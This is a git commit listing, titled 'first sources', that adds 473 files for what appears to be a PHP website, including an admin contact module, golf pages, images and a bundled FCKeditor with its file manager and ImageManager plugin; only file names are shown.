first sources
authorSteve Sutton <steve@gaslightmedia.com>
Mon, 13 Feb 2017 21:33:59 +0000 (16:33 -0500)
committerSteve Sutton <steve@gaslightmedia.com>
Mon, 13 Feb 2017 21:33:59 +0000 (16:33 -0500)
473 files changed:
.htaccess [new file with mode: 0755]
GLM_site_check.phtml [new file with mode: 0644]
StreamSend.php [new file with mode: 0755]
admin/.htaccess [new file with mode: 0755]
admin/Contact/contact_inquiry.phtml [new file with mode: 0755]
admin/Contact/contact_setup.inc [new file with mode: 0755]
admin/Contact/csv.inc [new file with mode: 0755]
admin/Contact/del_query.phtml [new file with mode: 0755]
admin/Contact/download.phtml [new file with mode: 0755]
admin/Contact/edit_autoresponse.phtml [new file with mode: 0755]
admin/Contact/edit_contact.phtml [new file with mode: 0755]
admin/Contact/edit_inquiry.phtml [new file with mode: 0755]
admin/Contact/emails.php [new file with mode: 0755]
admin/Contact/form.js [new file with mode: 0755]
admin/Contact/golfCourses.sql [new file with mode: 0755]
admin/Contact/help/contact.phtml [new file with mode: 0755]
admin/Contact/htmlarea.css [new file with mode: 0755]
admin/Contact/importcsv.phtml [new file with mode: 0755]
admin/Contact/index.phtml [new file with mode: 0755]
admin/Contact/list_contact.phtml [new file with mode: 0755]
admin/Contact/list_query.phtml [new file with mode: 0755]
admin/Contact/mailout.phtml [new file with mode: 0755]
admin/Contact/main.css [new file with mode: 0755]
admin/Contact/msg.js [new file with mode: 0755]
admin/Contact/newsletter_template.html [new file with mode: 0755]
admin/Contact/notes/ChangeLog [new file with mode: 0755]
admin/Contact/notes/Contact [new file with mode: 0755]
admin/Contact/notes/contact.sql [new file with mode: 0755]
admin/Contact/obj_db.inc [new file with mode: 0755]
admin/Contact/preview.phtml [new file with mode: 0755]
admin/Contact/query_contact.phtml [new file with mode: 0755]
admin/Contact/query_db.phtml [new file with mode: 0755]
admin/Contact/query_save.phtml [new file with mode: 0755]
admin/Contact/update_autoresponse.phtml [new file with mode: 0755]
admin/Contact/update_contact.phtml [new file with mode: 0755]
admin/Contact/update_inquiry.phtml [new file with mode: 0755]
admin/Contact/verify.js [new file with mode: 0755]
admin/Contact/view_newsletter.phtml [new file with mode: 0755]
admin/Contact/wm.js [new file with mode: 0755]
admin/bug3.png [new file with mode: 0755]
admin/form.js [new file with mode: 0755]
admin/html_help.phtml [new file with mode: 0755]
admin/index.phtml [new file with mode: 0755]
admin/main.css [new file with mode: 0755]
admin/msg.js [new file with mode: 0755]
admin/nav.phtml [new file with mode: 0755]
admin/splash.phtml [new file with mode: 0755]
admin/template1.gif [new file with mode: 0755]
admin/template2.gif [new file with mode: 0755]
admin/template3.gif [new file with mode: 0755]
admin/template4.gif [new file with mode: 0755]
admin/template5.gif [new file with mode: 0755]
admin/verify.js [new file with mode: 0755]
admin/wm.js [new file with mode: 0755]
assets/email-title-winter.jpg [new file with mode: 0755]
assets/email-title.jpg [new file with mode: 0755]
assets/email-title2.jpg [new file with mode: 0755]
assets/email-title2_SUMMER_.jpg [new file with mode: 0755]
assets/logopinetan120.jpg [new file with mode: 0755]
assets/title.jpg [new file with mode: 0755]
classes/class_contact_form.inc [new file with mode: 0755]
classes/class_db.inc [new file with mode: 0755]
classes/class_template.inc [new file with mode: 0755]
classes/class_toolbox.inc [new file with mode: 0755]
contactform.css [new file with mode: 0755]
event.css [new file with mode: 0755]
fckeditor/_documentation.html [new file with mode: 0755]
fckeditor/_upgrade.html [new file with mode: 0755]
fckeditor/_whatsnew.html [new file with mode: 0755]
fckeditor/editor/_packager.xml [new file with mode: 0755]
fckeditor/editor/css/behaviors/disablehandles.htc [new file with mode: 0755]
fckeditor/editor/css/behaviors/hiddenfield.gif [new file with mode: 0755]
fckeditor/editor/css/behaviors/hiddenfield.htc [new file with mode: 0755]
fckeditor/editor/css/behaviors/showtableborders.htc [new file with mode: 0755]
fckeditor/editor/css/fck_editorarea.css [new file with mode: 0755]
fckeditor/editor/css/fck_internal.css [new file with mode: 0755]
fckeditor/editor/css/fck_showtableborders_gecko.css [new file with mode: 0755]
fckeditor/editor/css/images/fck_anchor.gif [new file with mode: 0755]
fckeditor/editor/css/images/fck_flashlogo.gif [new file with mode: 0755]
fckeditor/editor/css/images/fck_pagebreak.gif [new file with mode: 0755]
fckeditor/editor/dialog/common/fck_dialog_common.css [new file with mode: 0755]
fckeditor/editor/dialog/common/fck_dialog_common.js [new file with mode: 0755]
fckeditor/editor/dialog/common/fcknumericfield.htc [new file with mode: 0755]
fckeditor/editor/dialog/common/images/locked.gif [new file with mode: 0755]
fckeditor/editor/dialog/common/images/reset.gif [new file with mode: 0755]
fckeditor/editor/dialog/common/images/unlocked.gif [new file with mode: 0755]
fckeditor/editor/dialog/common/moz-bindings.xml [new file with mode: 0755]
fckeditor/editor/dialog/fck_about.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_about/logo_fckeditor.gif [new file with mode: 0755]
fckeditor/editor/dialog/fck_about/logo_fredck.gif [new file with mode: 0755]
fckeditor/editor/dialog/fck_anchor.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_button.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_checkbox.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_colorselector.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_docprops.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_docprops/fck_document_preview.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_find.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_flash.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_flash/fck_flash.js [new file with mode: 0755]
fckeditor/editor/dialog/fck_flash/fck_flash_preview.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_form.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_hiddenfield.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_image.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_image/fck_image.js [new file with mode: 0755]
fckeditor/editor/dialog/fck_image/fck_image_preview.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_link.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_link/fck_link.js [new file with mode: 0755]
fckeditor/editor/dialog/fck_listprop.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_paste.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_radiobutton.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_replace.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_select.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_select/fck_select.js [new file with mode: 0755]
fckeditor/editor/dialog/fck_smiley.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_source.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_specialchar.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_spellerpages.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_spellerpages/spellerpages/blank.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_spellerpages/spellerpages/controlWindow.js [new file with mode: 0755]
fckeditor/editor/dialog/fck_spellerpages/spellerpages/controls.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.cfm [new file with mode: 0755]
fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php [new file with mode: 0755]
fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.pl [new file with mode: 0755]
fckeditor/editor/dialog/fck_spellerpages/spellerpages/spellChecker.js [new file with mode: 0755]
fckeditor/editor/dialog/fck_spellerpages/spellerpages/spellchecker.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_spellerpages/spellerpages/spellerStyle.css [new file with mode: 0755]
fckeditor/editor/dialog/fck_spellerpages/spellerpages/wordWindow.js [new file with mode: 0755]
fckeditor/editor/dialog/fck_table.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_tablecell.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_template.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_template/images/template1.gif [new file with mode: 0755]
fckeditor/editor/dialog/fck_template/images/template2.gif [new file with mode: 0755]
fckeditor/editor/dialog/fck_template/images/template3.gif [new file with mode: 0755]
fckeditor/editor/dialog/fck_textarea.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_textfield.html [new file with mode: 0755]
fckeditor/editor/fckdebug.html [new file with mode: 0755]
fckeditor/editor/fckdialog.html [new file with mode: 0755]
fckeditor/editor/fckeditor.html [new file with mode: 0755]
fckeditor/editor/fckeditor.original.html [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/browser.css [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/browser.html [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/asp/basexml.asp [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/asp/class_upload.asp [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/asp/commands.asp [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/asp/config.asp [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/asp/io.asp [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/asp/util.asp [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/cfm/config.cfm [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/cfm/connector.cfm [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/lasso/config.lasso [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/lasso/connector.lasso [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/perl/basexml.pl [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/perl/commands.pl [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/perl/connector.cgi [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/perl/io.pl [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/perl/upload_fck.pl [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/perl/util.pl [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/php/basexml.php [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/php/commands.php [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/php/config.php [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/php/connector.php [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/php/io.php [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/php/util.php [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/py/connector.py [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/test.html [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/frmactualfolder.html [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/frmcreatefolder.html [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/frmfolders.html [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/frmresourceslist.html [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/frmresourcetype.html [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/frmupload.html [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/ButtonArrow.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/Folder.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/Folder32.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/FolderOpened.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/FolderOpened32.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/FolderUp.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/ai.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/avi.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/bmp.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/cs.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/default.icon.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/dll.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/doc.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/exe.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/fla.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/gif.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/htm.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/html.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/jpg.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/js.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/mdb.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/mp3.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/pdf.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/ppt.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/rdp.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/swf.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/swt.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/txt.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/vsd.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/xls.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/xml.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/zip.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/ai.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/avi.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/bmp.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/cs.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/default.icon.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/dll.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/doc.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/exe.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/fla.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/gif.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/htm.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/html.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/jpg.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/js.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/mdb.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/mp3.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/pdf.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/ppt.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/rdp.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/swf.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/swt.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/txt.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/vsd.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/xls.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/xml.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/zip.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/spacer.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/js/common.js [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/js/fckxml.js [new file with mode: 0755]
fckeditor/editor/filemanager/upload/php/config.php [new file with mode: 0755]
fckeditor/editor/filemanager/upload/php/upload.php [new file with mode: 0755]
fckeditor/editor/filemanager/upload/php/util.php [new file with mode: 0755]
fckeditor/editor/filemanager/upload/test.html [new file with mode: 0755]
fckeditor/editor/images/anchor.gif [new file with mode: 0755]
fckeditor/editor/images/arrow_ltr.gif [new file with mode: 0755]
fckeditor/editor/images/arrow_rtl.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/angel_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/angry_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/broken_heart.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/cake.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/confused_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/cry_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/devil_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/embaressed_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/envelope.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/heart.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/kiss.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/lightbulb.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/omg_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/regular_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/sad_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/shades_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/teeth_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/thumbs_down.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/thumbs_up.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/tounge_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/whatchutalkingabout_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/wink_smile.gif [new file with mode: 0755]
fckeditor/editor/images/spacer.gif [new file with mode: 0755]
fckeditor/editor/js/fckeditorcode_gecko.js [new file with mode: 0755]
fckeditor/editor/js/fckeditorcode_ie.js [new file with mode: 0755]
fckeditor/editor/lang/_getfontformat.html [new file with mode: 0755]
fckeditor/editor/lang/_translationstatus.txt [new file with mode: 0755]
fckeditor/editor/lang/en-min.js [new file with mode: 0755]
fckeditor/editor/lang/en.js [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/20062020_20061221.diff [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/ChangeLog [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/Classes/Files.php [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/Classes/GD.php [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/Classes/IM.php [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/Classes/ImageEditor.php [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/Classes/ImageManager.php [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/Classes/NetPBM.php [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/Classes/Thumbnail.php [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/Classes/Transform.php [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/Classes/api.watermark.php [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/Classes/package.xml [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/README.txt [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/assets/EditorContent.js [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/assets/ImageEditor.css [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/assets/blank.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/assets/dialog.js [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/assets/editor.css [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/assets/editor.js [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/assets/editorFrame.css [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/assets/editorFrame.js [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/assets/hover.htc [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/assets/imagelist.css [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/assets/images.js [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/assets/manager.css [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/assets/manager.js [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/assets/pngbehavior.htc [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/assets/popup.js [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/assets/slider.js [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/assets/wz_dragdrop.js [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/assets/wz_jsgraphics.js [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/config.inc.php [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/editor.php [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/editorFrame.php [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/fckplugin.js [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/icon.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/images.php [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/2x2.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/2x2_w.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/backgroundGrid.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/btnFolderNew.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/btnFolderUp.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/btn_cancel.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/btn_ok.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/crop.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/default.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/div.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/dots.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/edit_active.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/edit_pencil.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/edit_trash.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/folder.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/hand.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/islocked2.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/locked.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/measure.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/noimages.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/replace.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/rotate.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/save.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/scale.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/spacer.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/t_black.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/t_white.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/transparentpixel.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/unlocked.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/unlocked2.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/watermark.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/watermark/imageManager.png [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/watermarkAlign.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/img/watermarkColor.gif [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/lang/de.js [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/lang/en.js [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/lang/fr.js [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/lang/nl.js [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/lang/no.js [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/lang/pl.js [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/lang/ru.js [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/lang/sv.js [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/manager.php [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/newFolder.html [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/thumbs.php [new file with mode: 0755]
fckeditor/editor/plugins/autogrow/fckplugin.js [new file with mode: 0755]
fckeditor/editor/plugins/placeholder/fck_placeholder.html [new file with mode: 0755]
fckeditor/editor/plugins/placeholder/fckplugin.js [new file with mode: 0755]
fckeditor/editor/plugins/placeholder/lang/de.js [new file with mode: 0755]
fckeditor/editor/plugins/placeholder/lang/en.js [new file with mode: 0755]
fckeditor/editor/plugins/placeholder/lang/fr.js [new file with mode: 0755]
fckeditor/editor/plugins/placeholder/lang/it.js [new file with mode: 0755]
fckeditor/editor/plugins/placeholder/lang/pl.js [new file with mode: 0755]
fckeditor/editor/plugins/placeholder/placeholder.gif [new file with mode: 0755]
fckeditor/editor/plugins/simplecommands/fckplugin.js [new file with mode: 0755]
fckeditor/editor/plugins/tablecommands/fckplugin.js [new file with mode: 0755]
fckeditor/editor/skins/_fckviewstrips.html [new file with mode: 0755]
fckeditor/editor/skins/default/fck_dialog.css [new file with mode: 0755]
fckeditor/editor/skins/default/fck_editor.css [new file with mode: 0755]
fckeditor/editor/skins/default/fck_strip.gif [new file with mode: 0755]
fckeditor/editor/skins/default/images/toolbar.arrowright.gif [new file with mode: 0755]
fckeditor/editor/skins/default/images/toolbar.buttonarrow.gif [new file with mode: 0755]
fckeditor/editor/skins/default/images/toolbar.collapse.gif [new file with mode: 0755]
fckeditor/editor/skins/default/images/toolbar.end.gif [new file with mode: 0755]
fckeditor/editor/skins/default/images/toolbar.expand.gif [new file with mode: 0755]
fckeditor/editor/skins/default/images/toolbar.separator.gif [new file with mode: 0755]
fckeditor/editor/skins/default/images/toolbar.start.gif [new file with mode: 0755]
fckeditor/editor/skins/office2003/fck_dialog.css [new file with mode: 0755]
fckeditor/editor/skins/office2003/fck_editor.css [new file with mode: 0755]
fckeditor/editor/skins/office2003/fck_strip.gif [new file with mode: 0755]
fckeditor/editor/skins/office2003/images/toolbar.arrowright.gif [new file with mode: 0755]
fckeditor/editor/skins/office2003/images/toolbar.bg.gif [new file with mode: 0755]
fckeditor/editor/skins/office2003/images/toolbar.buttonarrow.gif [new file with mode: 0755]
fckeditor/editor/skins/office2003/images/toolbar.collapse.gif [new file with mode: 0755]
fckeditor/editor/skins/office2003/images/toolbar.end.gif [new file with mode: 0755]
fckeditor/editor/skins/office2003/images/toolbar.expand.gif [new file with mode: 0755]
fckeditor/editor/skins/office2003/images/toolbar.separator.gif [new file with mode: 0755]
fckeditor/editor/skins/office2003/images/toolbar.start.gif [new file with mode: 0755]
fckeditor/editor/skins/silver/fck_dialog.css [new file with mode: 0755]
fckeditor/editor/skins/silver/fck_editor.css [new file with mode: 0755]
fckeditor/editor/skins/silver/fck_strip.gif [new file with mode: 0755]
fckeditor/editor/skins/silver/images/toolbar.arrowright.gif [new file with mode: 0755]
fckeditor/editor/skins/silver/images/toolbar.buttonarrow.gif [new file with mode: 0755]
fckeditor/editor/skins/silver/images/toolbar.buttonbg.gif [new file with mode: 0755]
fckeditor/editor/skins/silver/images/toolbar.collapse.gif [new file with mode: 0755]
fckeditor/editor/skins/silver/images/toolbar.end.gif [new file with mode: 0755]
fckeditor/editor/skins/silver/images/toolbar.expand.gif [new file with mode: 0755]
fckeditor/editor/skins/silver/images/toolbar.separator.gif [new file with mode: 0755]
fckeditor/editor/skins/silver/images/toolbar.start.gif [new file with mode: 0755]
fckeditor/fckconfig-min.js [new file with mode: 0755]
fckeditor/fckconfig.js [new file with mode: 0755]
fckeditor/fckeditor-min.js [new file with mode: 0755]
fckeditor/fckeditor.js [new file with mode: 0755]
fckeditor/fckeditor.php [new file with mode: 0755]
fckeditor/fckeditor_php4.php [new file with mode: 0755]
fckeditor/fckeditor_php5.php [new file with mode: 0755]
fckeditor/fckstyles.xml [new file with mode: 0755]
fckeditor/fcktemplates.xml [new file with mode: 0755]
fckeditor/htaccess.txt [new file with mode: 0755]
fckeditor/license.txt [new file with mode: 0755]
golf.php [new file with mode: 0644]
golfForm.php [new file with mode: 0644]
golfold.php [new file with mode: 0755]
images/back2.jpg [new file with mode: 0755]
images/file-ext/doc.png [new file with mode: 0755]
images/file-ext/pdf.png [new file with mode: 0755]
images/file-ext/ppt.png [new file with mode: 0755]
images/file-ext/txt.png [new file with mode: 0755]
images/file-ext/xls.png [new file with mode: 0755]
images/file-ext/zip.png [new file with mode: 0755]
images/grnball.gif [new file with mode: 0755]
images/help.gif [new file with mode: 0755]
